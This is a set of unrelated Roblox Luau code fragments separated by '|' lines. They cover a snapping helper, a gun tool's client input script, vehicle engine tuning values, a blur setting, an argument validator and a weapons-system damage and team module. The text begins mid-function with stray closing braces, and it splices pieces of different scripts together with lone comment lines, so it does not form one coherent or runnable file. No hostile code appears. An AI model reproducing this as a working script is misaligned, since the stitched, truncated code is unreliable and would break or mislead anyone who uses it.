Pivot = Model:GetPivot();
}
end
end)
return InitialPartStates, InitialModelStates
end;
function GetIncrementMultiple(Number, Increment)
-- Get how far the actual distance is from a multiple of our increment
local MultipleDifference = Number % Increment;
-- Identify the closest lower and upper multiples of the increment
local LowerMultiple = Number - MultipleDifference;
local UpperMultiple = Number - MultipleDifference + Increment;
-- Calculate to which of the two multiples we're closer
local LowerMultipleProximity = math.abs(Number - LowerMultiple);
local UpperMultipleProximity = math.abs(Number - UpperMultiple);
-- Use the closest multiple of our increment as the distance moved
if LowerMultipleProximity <= UpperMultipleProximity then
Number = LowerMultiple;
else
Number = UpperMultiple;
end;
return Number;
end;
|
--Edited by QS
|
local Tool = script.Parent;
local torso = nil
local human = nil
function SetMouseIcon(mouse,bool)
if mouse == nil then return end
mouse.Icon = bool == true and "rbxasset://textures\\GunCursor.png" or "rbxasset://textures\\GunWaitCursor.png"
end
function onEquippedLocal(mouse)
if mouse == nil then
print("Mouse not found")
return
end
torso = Tool.Parent:FindFirstChild("HumanoidRootPart")
human = Tool.Parent:FindFirstChild("Humanoid")--getHumanoid(Tool.Parent)
if torso == nil or human == nil then return end
SetMouseIcon(mouse,Tool.IsEnabled.Value)
Tool.IsEnabled.Changed:connect(function(bool)
SetMouseIcon(mouse,bool)
end)
mouse.Icon = "rbxasset://textures\\GunCursor.png"
mouse.Button1Down:connect(function()
script.Parent.MouseClick:FireServer(mouse.Hit.p)
end)
mouse.KeyDown:connect(function(key)
script.Parent.KeyPress:FireServer(key)
end)
end
Tool.Equipped:connect(onEquippedLocal)
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 400 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 7200 -- Use sliders to manipulate values
Tune.Redline = 8500 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 350 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--//Settings
|
BlurAmount = 24 -- Change this to increase or decrease the blur size
|
--- Validates that the argument will work without any type errors.
|
function Argument:Validate(isFinal)
if self.RawValue == nil or #self.RawValue == 0 and self.Required == false then
return true
end
if self.Type.Validate or self.Type.ValidateOnce then
for i = 1, #self.TransformedValues do
if self.Type.Validate then
local valid, errorText = self.Type.Validate(self:GetTransformedValue(i))
if not valid then
return valid, errorText or "Invalid value"
end
end
if isFinal and self.Type.ValidateOnce then
local validOnce, errorTextOnce = self.Type.ValidateOnce(self:GetTransformedValue(i))
if not validOnce then
return validOnce, errorTextOnce
end
end
end
return true
else
return true
end
end
|
-- and (IsServer or weaponInstance:IsDescendantOf(Players.LocalPlayer))
|
function WeaponsSystem.onWeaponAdded(weaponInstance)
local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance)
if not weapon then
WeaponsSystem.createWeaponForInstance(weaponInstance)
end
end
function WeaponsSystem.onWeaponRemoved(weaponInstance)
local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance)
if weapon then
weapon:onDestroyed()
end
WeaponsSystem.knownWeapons[weaponInstance] = nil
end
function WeaponsSystem.getRemoteEvent(name)
if not WeaponsSystem.networkFolder then
return
end
local remoteEvent = WeaponsSystem.remoteEvents[name]
if IsServer then
if not remoteEvent then
warn("No RemoteEvent named ", name)
return nil
end
return remoteEvent
else
if not remoteEvent then
remoteEvent = WeaponsSystem.networkFolder:WaitForChild(name, math.huge)
end
return remoteEvent
end
end
function WeaponsSystem.getRemoteFunction(name)
if not WeaponsSystem.networkFolder then
return
end
local remoteFunc = WeaponsSystem.remoteFunctions[name]
if IsServer then
if not remoteFunc then
warn("No RemoteFunction named ", name)
return nil
end
return remoteFunc
else
if not remoteFunc then
remoteFunc = WeaponsSystem.networkFolder:WaitForChild(name, math.huge)
end
return remoteFunc
end
end
function WeaponsSystem.setWeaponEquipped(weapon, equipped)
assert(not IsServer, "WeaponsSystem.setWeaponEquipped should only be called on the client.")
if not weapon then
return
end
local lastWeapon = WeaponsSystem.currentWeapon
local hasWeapon = false
local weaponChanged = false
if lastWeapon == weapon then
if not equipped then
WeaponsSystem.currentWeapon = nil
hasWeapon = false
weaponChanged = true
else
weaponChanged = false
end
else
if equipped then
WeaponsSystem.currentWeapon = weapon
hasWeapon = true
weaponChanged = true
end
end
if WeaponsSystem.camera then
WeaponsSystem.camera:resetZoomFactor()
WeaponsSystem.camera:setHasScope(false)
if WeaponsSystem.currentWeapon then
WeaponsSystem.camera:setZoomFactor(WeaponsSystem.currentWeapon:getConfigValue("ZoomFactor", 1.1))
WeaponsSystem.camera:setHasScope(WeaponsSystem.currentWeapon:getConfigValue("HasScope", false))
end
end
if WeaponsSystem.gui then
WeaponsSystem.gui:setEnabled(hasWeapon)
WeaponsSystem.camera:setEnabled(hasWeapon)
if WeaponsSystem.currentWeapon then
WeaponsSystem.gui:setCrosshairWeaponScale(WeaponsSystem.currentWeapon:getConfigValue("CrosshairScale", 1))
else
WeaponsSystem.gui:setCrosshairWeaponScale(1)
end
end
if weaponChanged then
WeaponsSystem.CurrentWeaponChanged:Fire(weapon.instance, lastWeapon and lastWeapon.instance)
end
end
function WeaponsSystem.getHumanoid(part)
while part and part ~= workspace do
if part:IsA("Model") and part.PrimaryPart and part.PrimaryPart.Name == "HumanoidRootPart" then
return part:FindFirstChildOfClass("Humanoid")
end
part = part.Parent
end
end
function WeaponsSystem.getPlayerFromHumanoid(humanoid)
for _, player in ipairs(Players:GetPlayers()) do
if player.Character and humanoid:IsDescendantOf(player.Character) then
return player
end
end
end
local function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
game:GetService("Debris"):AddItem(Creator_Tag, 0.3)
Creator_Tag.Parent = humanoid
end
local function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
local function _defaultDamageCallback(system, target, amount, damageType, dealer, hitInfo, damageData)
if target:IsA("Humanoid") then
UntagHumanoid(target)
target:TakeDamage(amount)
TagHumanoid(target,dealer)
end
end
function WeaponsSystem.doDamage(target, amount, damageType, dealer, hitInfo, damageData)
if not target or CollectionService:HasTag(target, "WeaponsSystemIgnore") then
return
end
--if IsServer then
if target:IsA("Humanoid") and dealer:IsA("Player") and dealer.Character then
local dealerHumanoid = dealer.Character:FindFirstChildOfClass("Humanoid")
local targetPlayer = Players:GetPlayerFromCharacter(target.Parent)
if dealerHumanoid and target ~= dealerHumanoid and targetPlayer then
-- Trigger the damage indicator
WeaponData:FireClient(targetPlayer, "HitByOtherPlayer", dealer.Character.HumanoidRootPart.CFrame.Position)
end
end
-- NOTE: damageData is a more or less free-form parameter that can be used for passing information from the code that is dealing damage about the cause.
-- .The most obvious usage is extracting icons from the various weapon types (in which case a weapon instance would likely be passed in)
-- ..The default weapons pass in that data
local handler = _damageCallback or _defaultDamageCallback
handler(WeaponsSystem, target, amount, damageType, dealer, hitInfo, damageData)
--end
end
local function _defaultGetTeamCallback(player)
return 0
end
function WeaponsSystem.getTeam(player)
local handler = _getTeamCallback or _defaultGetTeamCallback
return handler(player)
end
function WeaponsSystem.playersOnDifferentTeams(player1, player2)
if player1 == player2 or player1 == nil or player2 == nil then
-- This allows players to damage themselves and NPC's
return true
end
local player1Team = WeaponsSystem.getTeam(player1)
local player2Team = WeaponsSystem.getTeam(player2)
return player1Team == 0 or player1Team ~= player2Team
end
return WeaponsSystem
|
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